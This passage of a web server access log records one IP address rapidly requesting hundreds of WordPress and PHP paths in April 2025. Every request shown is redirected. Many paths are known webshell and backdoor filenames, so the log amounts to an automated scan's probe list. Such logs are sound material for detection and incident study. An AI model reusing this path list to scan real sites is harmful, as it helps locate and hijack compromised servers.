"-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:07 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:08 -0400] "GET /wp/menu.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:08 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:09 -0400] "GET /rc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:10 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:10 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:11 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:11 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:12 -0400] "GET /wp-content/themes/jhie8k08/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:12 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:12 -0400] "GET /restricted.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:12 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:13 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:13 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:13 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:14 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:14 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:15 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:16 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:16 -0400] "GET /wp-content/themes/phocsqfz/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:16 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:16 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:17 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:17 -0400] "GET /wp-content/uploads/2014/06/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:17 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:18 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:19 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:21 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:22 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:23 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:23 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:24 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:24 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:24 -0400] "GET /wp-content/uploads/2023/05/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:25 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:25 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:26 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:26 -0400] "GET /user.php3 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:26 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:27 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:27 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:28 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:30 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:30 -0400] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:31 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:32 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:32 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:33 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:33 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:34 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:35 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:35 -0400] "GET /wp-content/plugins/td-cloud-library/includes/dir/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:36 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:36 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:37 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:37 -0400] "GET /wp-content/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:38 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:38 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:39 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:40 -0400] "GET /wp-content/plugins/pahidtd/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:40 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:41 -0400] "GET /wp-content/plugins/kfhfxvy/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:41 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:41 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:42 -0400] "GET /wordpress/wp-content/themes/as/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:42 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:42 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:43 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:43 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:43 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:44 -0400] "GET /wp-includes/mah.php999 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:45 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:46 -0400] "GET /webhook.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:47 -0400] "GET /wp-content/uploads/BbUMY/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:47 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:48 -0400] "GET /wp-content/plugins/backup-backup/includes/1155949024...php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:49 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:50 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:51 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:51 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:51 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:51 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:51 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:52 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:53 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:53 -0400] "GET /wp-content/plugins/upme/ajax/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:54 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:54 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:55 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:55 -0400] "GET /wp-content/uploads/revslider/templates/creativefrontpage/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:56 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:56 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:56 -0400] "GET /plugins/three-column-screen-layout/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:57 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:57 -0400] "GET /wp-includes/Text/Diff/Engine/aaa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:57 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:57 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:58 -0400] "GET /security.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:58 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:59 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:00 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:00 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:01 -0400] "GET /wp-content/themes/fswefy0o/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:03 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:03 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:04 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:05 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:07 -0400] "GET /gallery_upload.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:09 -0400] "GET /wp-includes/Requests/about.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:09 -0400] "GET /wp-content/plugins/trfree/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:10 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:10 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:12 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:14 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:15 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:17 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:17 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:19 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:20 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:22 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:23 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:23 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:24 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:25 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:25 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:26 -0400] "GET /config_save.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:26 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:27 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:27 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:27 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:28 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:28 -0400] "GET /wp-includes/js/tinymce/langs/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:28 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:28 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:29 -0400] "GET /wp-includes/pomo/user-new.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:29 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:30 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:30 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:31 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:31 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:32 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:32 -0400] "GET /upload2/10-27-24_8:26_1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:32 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:33 -0400] "GET /optimizer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:33 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:33 -0400] "GET /wp-content/plugins/wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:34 -0400] "GET /introduction.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:34 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:34 -0400] "GET /wp-content/plugins/nloisib/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:34 -0400] "GET /wp-includes/konten/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:35 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:35 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:36 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:36 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:37 -0400] "GET /cart.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:37 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:37 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:37 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:38 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:38 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:39 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:39 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:40 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:40 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:40 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:40 -0400] "GET /wp-includes/js/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:41 -0400] "GET /role.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:41 -0400] "GET /wp-content/plugins/vbcxdsf/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:41 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:42 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:42 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:42 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:42 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:43 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:43 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:43 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:43 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:44 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:44 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:44 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:44 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:45 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:45 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:45 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:46 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:46 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:47 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:47 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:47 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:47 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:48 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:49 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:49 -0400] "GET /wp-content/plugins/ojyiyys/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:49 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:49 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:50 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:50 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:50 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:50 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:51 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:51 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:51 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:52 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:52 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:52 -0400] "GET /class-smtp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:52 -0400] "GET /class-snoopy.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:52 -0400] "GET /class-wp-admin-bar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:53 -0400] "GET /class-wp-ajax-response.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:53 -0400] "GET /class-wp-error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:53 -0400] "GET /default-constants.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:53 -0400] "GET /sell.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:53 -0400] "GET /sell.php8 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:54 -0400] "GET /style-engine.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:54 -0400] "GET /template-loader.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:54 -0400] "GET /wp-db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:54 -0400] "GET /wp-diff.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:54 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:55 -0400] "GET /wp-themes.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:55 -0400] "GET /wp-themes.php8 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:55 -0400] "GET /wp-update.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:55 -0400] "GET /comments.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:56 -0400] "GET /wp-includes/Text/Diff/Engine/Shell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:56 -0400] "GET /wp-includes/Text/Diff/Engine/native.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:56 -0400] "GET /wp-includes/Text/Diff/Engine/string.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:05:56 -0400] "GET /wp-includes/Text/Diff/Engine/xdiff.php HTTP/1.1" 301 795 "-" 